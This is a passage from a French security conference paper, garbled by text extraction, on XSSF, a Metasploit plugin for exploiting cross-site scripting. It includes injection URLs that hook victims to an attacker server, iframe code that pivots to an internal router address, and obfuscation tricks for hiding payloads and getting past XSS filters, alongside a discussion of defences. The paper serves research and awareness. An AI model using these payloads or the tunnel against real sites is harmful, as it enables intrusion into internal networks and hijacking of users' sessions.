Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 8: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

